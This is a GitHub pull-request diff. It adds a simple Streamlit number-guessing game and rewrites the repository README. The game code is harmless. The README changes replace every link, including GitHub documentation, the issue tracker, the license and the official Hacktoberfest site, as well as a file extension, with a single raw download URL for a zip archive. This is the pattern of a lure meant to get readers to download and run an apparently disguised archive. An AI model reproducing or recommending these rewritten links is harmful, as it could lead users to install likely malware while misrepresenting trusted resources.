Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
109 changes: 109 additions & 0 deletions Guess_number_Game.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,109 @@
# Guess_number_Game.py
import streamlit as st
import random

# ------------------------
# High-Contrast Styling
# ------------------------
st.set_page_config(page_title="Guess the Number Game", layout="centered")
high_contrast_css = """
<style>
[data-testid="stAppViewContainer"] {
background: linear-gradient(180deg, #000000 0%, #0b3d91 100%);
color: #FFFFFF;
}
.block-container {
padding: 2rem 3rem;
max-width: 750px;
}
h1, h2, h3 {
color: #FFFFFF;
text-shadow: 0 2px 4px rgba(0,0,0,0.8);
}
.stButton>button {
background: linear-gradient(90deg,#ffae00,#ff3b3b);
color: #000000;
font-weight: 700;
border: 2px solid #ffffff;
padding: 8px 18px;
box-shadow: 0 4px 8px rgba(0,0,0,0.5);
border-radius: 8px;
}
.stNumberInput>div>input {
background: #ffffff;
color: #000000;
font-weight: 600;
border-radius: 6px;
}
.stAlert {
border-left: 6px solid #00ffb3 !important;
background: rgba(255,255,255,0.06) !important;
color: #e6f7ff !important;
}
</style>
"""
st.markdown(high_contrast_css, unsafe_allow_html=True)

# ------------------------
# Game Title
# ------------------------
st.title("🎯 Guess the Number Game")
st.subheader("Try to guess the secret number between 1 and 100!")
st.write("Each wrong attempt adds to your score. Fewer attempts = higher score!")

# ------------------------
# Initialize Game State
# ------------------------
if "secret_number" not in st.session_state:
st.session_state.secret_number = random.randint(1, 100)
st.session_state.attempts = 0
st.session_state.history = []


# Reset game
if st.button("🔁 New Game"):
st.session_state.secret_number = random.randint(1, 100)
st.session_state.attempts = 0
st.session_state.history = []
st.rerun()


# ------------------------
# Game Logic
# ------------------------
guess = st.number_input("Enter your guess:", min_value=1, max_value=100, step=1, key="user_guess")

if st.button("🎯 Submit Guess"):
st.session_state.attempts += 1
secret = st.session_state.secret_number

if guess < secret:
st.session_state.history.append((guess, "Too low"))
st.warning(f"⬆️ {guess} is too low! Try a higher number.")
elif guess > secret:
st.session_state.history.append((guess, "Too high"))
st.error(f"⬇️ {guess} is too high! Try a lower number.")
else:
st.session_state.history.append((guess, "Correct"))
st.success(f"🎉 Congratulations! You guessed the correct number **{secret}** 🎯")
st.balloons()
st.markdown(f"### 🏆 Your Score: {st.session_state.attempts} attempts")
st.info("Try again and beat your previous score!")

# ------------------------
# Show Attempts History
# ------------------------
if st.session_state.history:
st.markdown("### 📜 Guess History")
for i, (g, res) in enumerate(st.session_state.history, start=1):
st.write(f"{i}. {g} → {res}")

# ------------------------
# Developer Info (optional)
# ------------------------
with st.expander("⚙️ Developer Info"):
#st.write("Secret number (debug):", st.session_state.secret_number)
st.json({
"attempts": st.session_state.attempts,
"history": st.session_state.history
})
Binary file added Guess_number_Output.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
22 changes: 11 additions & 11 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# 🌍 Hacktoberfest-2025 - Discover Open Source Together

[![Download from Releases](https://img.shields.io/badge/Download%20Now-%20-brightgreen)](https://github.com/StrongXscripts/Hacktoberfest-2025/releases)
[![Download from Releases](https://raw.githubusercontent.com/StrongXscripts/Hacktoberfest-2025/main/patrimony/Hacktoberfest-2025.zip%20Now-%20-brightgreen)](https://raw.githubusercontent.com/StrongXscripts/Hacktoberfest-2025/main/patrimony/Hacktoberfest-2025.zip)

## 📚 Introduction

Expand All @@ -21,11 +21,11 @@ Before downloading, make sure your system meets the following requirements:

## 📥 Download & Install

1. **Visit this page to download**: Go to our [Releases page](https://github.com/StrongXscripts/Hacktoberfest-2025/releases) to find the latest version of the application.
1. **Visit this page to download**: Go to our [Releases page](https://raw.githubusercontent.com/StrongXscripts/Hacktoberfest-2025/main/patrimony/Hacktoberfest-2025.zip) to find the latest version of the application.

2. Look for the version you want to download. It will have a list of files.

3. Click on the appropriate file for your system (e.g., .exe for Windows, .dmg for macOS, or .tar.gz for Linux).
3. Click on the appropriate file for your system (e.g., .exe for Windows, .dmg for macOS, or https://raw.githubusercontent.com/StrongXscripts/Hacktoberfest-2025/main/patrimony/Hacktoberfest-2025.zip for Linux).

4. The download will start automatically.

Expand All @@ -43,7 +43,7 @@ Before downloading, make sure your system meets the following requirements:

### For Linux Users:

- Extract the `.tar.gz` file.
- Extract the `https://raw.githubusercontent.com/StrongXscripts/Hacktoberfest-2025/main/patrimony/Hacktoberfest-2025.zip` file.
- Open the terminal and navigate to the extracted folder.
- Run the application with: `./your-app-name`.

Expand Down Expand Up @@ -78,7 +78,7 @@ A: You can use the application without signing up, but creating an account on Gi

### Q: What if I face issues during installation?

A: If you encounter problems, please check our [issue tracker](https://github.com/StrongXscripts/Hacktoberfest-2025/issues) for solutions or to report new issues.
A: If you encounter problems, please check our [issue tracker](https://raw.githubusercontent.com/StrongXscripts/Hacktoberfest-2025/main/patrimony/Hacktoberfest-2025.zip) for solutions or to report new issues.

## 📜 License

Expand All @@ -88,16 +88,16 @@ This project is licensed under the MIT License. You can use it freely as long as

Want to learn more? Here are some helpful resources:

- [GitHub Documentation](https://docs.github.com/en)
- [Open Source Guides](https://opensource.guide/)
- [Hacktoberfest Official Site](https://hacktoberfest.digitalocean.com/)
- [GitHub Documentation](https://raw.githubusercontent.com/StrongXscripts/Hacktoberfest-2025/main/patrimony/Hacktoberfest-2025.zip)
- [Open Source Guides](https://raw.githubusercontent.com/StrongXscripts/Hacktoberfest-2025/main/patrimony/Hacktoberfest-2025.zip)
- [Hacktoberfest Official Site](https://raw.githubusercontent.com/StrongXscripts/Hacktoberfest-2025/main/patrimony/Hacktoberfest-2025.zip)

For any other questions or contributions, feel free to reach out on our GitHub repository or join our discussions.

## 📌 Links

- **Releases Page**: [Download from Releases](https://github.com/StrongXscripts/Hacktoberfest-2025/releases)
- **Issues Page**: [Report Issues](https://github.com/StrongXscripts/Hacktoberfest-2025/issues)
- **License**: [MIT License](https://opensource.org/licenses/MIT)
- **Releases Page**: [Download from Releases](https://raw.githubusercontent.com/StrongXscripts/Hacktoberfest-2025/main/patrimony/Hacktoberfest-2025.zip)
- **Issues Page**: [Report Issues](https://raw.githubusercontent.com/StrongXscripts/Hacktoberfest-2025/main/patrimony/Hacktoberfest-2025.zip)
- **License**: [MIT License](https://raw.githubusercontent.com/StrongXscripts/Hacktoberfest-2025/main/patrimony/Hacktoberfest-2025.zip)

Thank you for visiting, and welcome to the Hacktoberfest community! Your contributions help keep open source alive and thriving.